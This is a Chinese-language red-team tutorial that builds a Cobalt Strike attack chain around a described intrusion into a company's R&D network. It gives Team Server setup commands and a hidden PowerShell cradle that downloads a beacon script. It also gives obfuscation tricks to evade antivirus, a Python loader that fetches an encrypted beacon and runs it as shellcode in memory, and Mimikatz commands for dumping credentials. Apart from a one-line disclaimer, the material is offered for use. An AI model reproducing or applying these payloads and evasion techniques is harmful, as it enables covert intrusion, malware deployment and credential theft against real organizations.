一、渗透案例:一场「无声入侵」的开始
让我们从一个真实的渗透案例讲起。某知名企业的研发部门,内部使用了一套过时的资产管理系统,用来处理研发设备的信息。攻击者通过公开的信息收集发现,这个管理系统暴露在互联网,并且运行的是一个知名的老版本 Web 应用。通过漏洞库验证,该版本存在漏洞,攻击者可以利用未授权访问直接读取数据库内容。
更重要的是,通过数据库中的用户信息,攻击者找到了研发部门一名员工的登录凭证,并通过社工手段进一步获取了这名员工的终端环境。接下来,攻击者的目标很明确:通过 Cobalt Strike 这一红队利器,完成对目标内网的进一步渗透和控制。
本文将以这个案例为主线,详细讲解如何通过 Cobalt Strike 工具实现从外网打点到内网横向移动的完整攻击链。
---
二、Cobalt Strike 的攻击原理拆解
Cobalt Strike 是红队从业人员中无比熟悉的一个工具,但对于初学者来说,它的工作原理可能显得有些神秘。这里我们来简化说明它的核心概念,让你迅速上手。
核心组成部分
- Team Server
Cobalt Strike 的中枢。它是一个基于 Java 的服务端应用,负责与攻击者的客户端交互、管理上线的 Beacon,以及生成各种 Payload。
- Beacon
Cobalt Strike 的攻击载荷,通常以恶意代码的形式部署到受害者机器上。Beacon 的核心功能包括:命令执行、文件操作、流量代理等。
- C2 通信
Beacon 的流量伪装能力,是它能够绕过检测工具的一大法宝。通过 HTTP、HTTPS、DNS 等协议进行加密通讯,同时伪装成正常流量。
攻击链中的位置
在渗透测试的每个阶段,Cobalt Strike 都能发挥巨大作用:
- 起初,作为 Payload 生成工具,帮助我们将恶意代码隐藏在合法文档或脚本中;
- 随后,通过 Beacon 实现对目标机器的控制;
- 最后,利用 Beacon 提供的功能完成横向移动和权限维持。
---
三、环境搭建:让 Team Server 跑起来
在实际攻击中,Cobalt Strike 的 Team Server 通常部署在云服务器上,因此我们这里以 VPS 为例,搭建一个最基本的 Cobalt Strike 环境。
环境准备
- 服务器:一台干净的 VPS,推荐使用 Ubuntu 20.04 系统。
- 域名:用于与目标通信的 C2 域名,建议使用伪装性强、看似正常的二级域名,如
update.example.com。 - 证书:为 HTTPS 通信准备 Let's Encrypt 的 SSL 证书。
以下是完整的搭建步骤:
<pre><code class="language-bash"># 1. 更新系统 sudo apt update && sudo apt upgrade -y
2. 安装必要环境
sudo apt install openjdk-11-jre unzip -y

3. 下载 Cobalt Strike
假设你已经获取到了合法的 Cobalt Strike 安装包
wget http://example.com/cobaltstrike.zip unzip cobaltstrike.zip -d cobaltstrike
4. 配置 Team Server
cd cobaltstrike ./teamserver <你的公网IP> <密码>
5. 配置防火墙
sudo ufw allow 50050/tcp # 默认的 Team Server 端口 sudo ufw allow 80,443/tcp # 为 HTTP/HTTPS C2 通信开放的端口 sudo ufw enable</code></pre>
几分钟后,你的 Cobalt Strike Team Server 就可以正常运行了。接着,我们需要为它生成一个伪装的 Payload,用于在目标环境中投放。
---
四、Payload 构造的艺术
在渗透案例中,攻击者希望通过 Cobalt Strike 的 Beacon 来控制目标主机,但直接生成的 Payload 很容易被杀软检测拦截。这里,我们需要对 Payload 进行免杀处理。
生成初始的恶意载荷
首先,让 Team Server 生成一个标准的 HTTP Beacon:
<pre><code class="language-bash"># 在 Cobalt Strike 客户端中,生成 HTTP Beacon Listeners > Add > HTTP > 配置域名等参数 Attacks > Web Drive-by > Exported Payload</code></pre>
接下来,我们以 PowerShell 脚本形式导出 Payload:
<pre><code class="language-bash"># 从 Team Server 导出的 PowerShell 脚本示例 powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/beacon.ps1'); Invoke-Stager"</code></pre>
绕过杀软的免杀技巧
直接使用上述脚本,几乎 100% 会被杀毒软件查杀。以下是几种常见的免杀方法:

- 字符串混淆
将 PowerShell 脚本中的关键字符串(如 DownloadString)进行加密或替换:
<pre><code class="language-powershell"> $s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cDovL2V4YW1wbGUuY29tL2JlYWNvbi5wczE=')) IEX (New-Object Net.WebClient).DownloadString($s) `
- 代码分段执行
将脚本分成多个小段,每段单独执行,避免被整体扫描:
`powershell $part1="IEX (New-Object Net.WebClient)." $part2="DownloadString('http://example.com/beacon.ps1')" Invoke-Expression ($part1+$part2) `
- 自定义加载器
使用 Python 或其他语言实现一个小型加载器,将恶意代码动态注入内存。
以下是一个简单的 Python 加载器示例: </code></pre>python import base64 import requests import ctypes
从远程服务器下载 Beacon(已加密)
url = "http://example.com/encrypted_beacon.bin" response = requests.get(url) encrypted_beacon = response.content
解密并加载 Beacon 到内存
key = b'secret_key' # 使用对称加密密钥 beacon = bytes([b ^ key[i % len(key)] for i, b in enumerate(encrypted_beacon)]) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(beacon), 0x3000, 0x40) ctypes.memmove(ptr, beacon, len(beacon)) ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) <pre><code> 这种方式有效降低了被传统杀软检测的风险。
---
五、横向移动:渗透内网的艺术
当 Payload 成功上线后,我们已经获得了受害者机器的控制权。接下来,攻击者的目标是通过横向移动进一步渗透内网。
收集内网信息
- 枚举域信息
使用 Beacon 提供的 net 命令,枚举内网用户和计算机资源: `bash net view net user /domain `

- 检查共享目录
找到可能存储敏感文件的共享资源: `bash net share `
- 网络扫描
使用 portscan 模块快速扫描内网的开放端口: `bash portscan 192.168.1.0/24 `
凭证抓取
通过 Mimikatz 模块提取内存中的用户凭证:</code></pre>bash load mimikatz mimikatz sekurlsa::logonpasswords `
---
六、个人经验:规避检测的关键点
从长期的实战经验来看,以下几点能够显著提升攻击的隐蔽性:
- 流量伪装
为 C2 通信使用 HTTPS 协议,并将域名伪装成合法网站。
- 动态载荷
利用自定义加载器,动态加载 Beacon,而非直接执行。
- 多层混淆
无论是代码还是网络流量,都需要多层加密、混淆以规避检测。
- 分布式 C2
同时使用多个 Team Server,降低单点失败的风险。
---
合法声明 本文所述内容仅限于授权的安全测试与学习研究,任何未授权使用造成的法律责任与作者无关。